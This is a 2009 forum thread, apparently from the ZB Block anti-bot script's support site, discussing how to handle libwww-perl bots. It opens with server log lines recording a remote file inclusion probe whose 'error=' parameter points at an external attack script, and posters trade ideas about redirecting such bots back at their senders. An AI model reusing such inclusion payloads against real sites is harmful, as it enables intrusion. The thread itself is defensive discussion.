65.39.182.49 - - [09/Jan/2009:04:13:25 +0200] "GET /errors.php?error=http://www.geocities.com/cwx.shadow/idx.txt????? HTTP/1.1" 301 461 "-" "libwww-perl/5.810"
65.39.182.49 - - [09/Jan/2009:04:13:26 +0200] "GET /%5ehttp://65.39.182.49/$?error=http://www.geocities.com/cwx.shadow/idx.txt%3f%3f%3f%3f%3f HTTP/1.1" 403 1108 "-" "libwww-perl/5.810"
Maybe this is a small "reward" for attack... I'm very evil... 
_________________ Fallout Vault BG | Vault Tec RSS News |
|
| Fri Jan 09, 2009 8:58 am |
|
 |
zaphod
Site Admin

Joined: 28 Jan 2008 Posts: 75
|
|
|
|
 |
 |
I'm glad to help.
After some tests I decided to leave libwww-perl clients to block from htaccess because it not only does block attack but return to hit. It redirect attacker to his personal IP address, not to server with script file:
Maybe this is a small "reward" for attack...  |
See, I would love to do this except for ONE thing...
Some of these robots are hosted on innocent servers with bad/uninformed Admins. It is best, and I am going to have to agree with someone over at stopforumspam.com, to not engage in ANY attack behavior. Forwarding hell is shady at best, but with a robots.txt "off-ramp" it at least won't be harmful for obedient bots.
Your server is yours to do with as you like. I am just chickenhearted to maybe accidentally block something good.
As it is now, nothing is getting through... except the ocassional forum bot that pukes on my CAPTCHA. But now that I am blocking the worst of the worst IP ranges, I see maybe 7 of those on a bad week. (More ranges to come though!)
Zap!
P.S. If I can ever get done monkeying with ZB Block, I have "ideas" for a flash based CAPTCHA that should just smash OCR bots flat, while maintaining ease of use for humans. (OCR bots have problems if the temporal dimension is brought into play!)
|
|
| Fri Jan 09, 2009 9:12 am |
|
 |
diabolic.bg
Joined: 30 Nov 2008 Posts: 30 Location: Bulgaria |
|
|
| Fri Jan 16, 2009 12:57 am |
|
 |
zaphod
Site Admin

Joined: 28 Jan 2008 Posts: 75
|
|
Other thing you could do... |
|
Instead of blocking them and sending their client back home (there is probably something in the bot script against this), just turn off forwarding hell as per instructions. It will give them a "You've been bad!" page, and dump the connection, chunk the PHP stack.
I've even had a more evil idea, that I am tempted to try.
If libwww-perl client THEN Store IP, forward to last libwww-perl client address. This would cause skiddies to start stealing sites from eachother in a circle-jerk from hell!
May just have to do something about that.
Zap 
|
|
| Sat Jan 17, 2009 6:42 am |
|
 |
diabolic.bg
Joined: 30 Nov 2008 Posts: 30 Location: Bulgaria |
|
Re: Other thing you could do... |
|
 |
 |
I've even had a more evil idea, that I am tempted to try.
If libwww-perl client THEN Store IP, forward to last libwww-perl client address. This would cause skiddies to start stealing sites from eachother in a circle-jerk from hell!
May just have to do something about that.
Zap  |
Maybe there is profit in this - "have a bread" as says in Bulgaria. 
_________________ Fallout Vault BG | Vault Tec RSS News |
|
| Sat Jan 17, 2009 6:56 am |
|
 |
zaphod
Site Admin

Joined: 28 Jan 2008 Posts: 75
|
|
Re: Other thing you could do... |
|
 |
 |
Maybe there is profit in this - "have a bread" as says in Bulgaria.  |
Nope. ZB Block is free, will remain free. It is built with the help and input of several people, and is available for them to take and modify, and make their own, as long as 2 conditions (in general) are met.
1. Their version is free, remains free, and tells others the same rules.
2. They give me credit.
This is the spirit of GPL.
Zap 
|
|
| Sat Jan 17, 2009 7:08 am |
|
 |
diabolic.bg
Joined: 30 Nov 2008 Posts: 30 Location: Bulgaria |
|
|
|
Oh, no! You doesn't understand me right. The phrase "have a bread" indicate that in an idea have a strong signification.
This is a Bulgarian idiom as yours "raining cats and dogs". 
_________________ Fallout Vault BG | Vault Tec RSS News |
|
| Sat Jan 17, 2009 7:40 am |
|
 |
zaphod
Site Admin

Joined: 28 Jan 2008 Posts: 75
|
|
Idiom mix-ups... |
|
And what threw me is...
the word "bread" can mean dollar$ in the USA. So mentioning profit, and bread, sure sounded like...
"This is good enough we should seek to make money from this."
ahahahahahahahahahahahaha
Damn Babylon and the counfounding of languages!
Zap 
|
|
| Sat Jan 17, 2009 8:12 pm |
|
 |
diabolic.bg
Joined: 30 Nov 2008 Posts: 30 Location: Bulgaria |
|
|
| Sun Jan 18, 2009 12:10 am |
|
 |
zaphod
Site Admin

Joined: 28 Jan 2008 Posts: 75
|
|
|
| Sun Jan 18, 2009 1:44 pm |
|
 |
|
|
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
|
|